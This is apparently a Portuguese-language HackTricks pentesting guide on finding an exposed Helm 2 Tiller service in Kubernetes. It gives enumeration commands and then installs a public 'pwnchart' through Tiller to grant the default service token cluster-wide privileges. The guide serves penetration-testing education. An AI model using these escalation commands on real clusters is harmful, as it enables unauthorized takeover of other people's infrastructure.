hacktricks/network-services-pentesting/44134-pentesting-tiller-helm.md

4.3 KiB

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Informação Básica

Helm é o gerenciador de pacotes para Kubernetes. Ele permite empacotar arquivos YAML e distribuí-los em repositórios públicos e privados. Esses pacotes são chamados de Helm Charts. Tiller é o serviço executado por padrão na porta 44134 oferecendo o serviço.

Porta padrão: 44134

PORT      STATE SERVICE VERSION
44134/tcp open  unknown

Enumeração

Se você pode enumerar pods e/ou serviços de diferentes namespaces, enumere-os e procure por aqueles com "tiller" em seus nomes:

kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"

Exemplos:

kubectl get pods -n kube-system
NAME                                       READY   STATUS             RESTARTS   AGE
kube-scheduler-controlplane                1/1     Running            0          35m
tiller-deploy-56b574c76d-l265z             1/1     Running            0          35m

kubectl get services -n kube-system
NAME            TYPE        CLUSTER-IP     EXTERNAL-IP   PORT(S)                  AGE
kube-dns        ClusterIP   10.96.0.10     <none>        53/UDP,53/TCP,9153/TCP   35m
tiller-deploy   ClusterIP   10.98.57.159   <none>        44134/TCP                35m

Você também pode tentar encontrar este serviço em execução verificando a porta 44134:

sudo nmap -sS -p 44134 <IP>

Depois de descobri-lo, você pode se comunicar com ele baixando o aplicativo cliente helm. Você pode usar ferramentas como homebrew, ou consultar a página oficial de lançamentos. Para mais detalhes, ou outras opções, consulte o guia de instalação.

Em seguida, você pode enumerar o serviço:

helm --host tiller-deploy.kube-system:44134 version

Escalação de Privilégio

Por padrão, o Helm2 foi instalado no namespace kube-system com privilégios elevados, então se você encontrar o serviço e tiver acesso a ele, isso poderá permitir que você eleve os privilégios.

Tudo que você precisa fazer é instalar um pacote como este: https://github.com/Ruil1n/helm-tiller-pwn que dará ao token de serviço padrão acesso a tudo no cluster inteiro.

git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart

Em http://rui0.cn/archives/1573 você tem a explicação do ataque, mas basicamente, se você ler os arquivos clusterrole.yaml e clusterrolebinding.yaml dentro de helm-tiller-pwn/pwnchart/templates/ você pode ver como todos os privilégios estão sendo concedidos ao token padrão.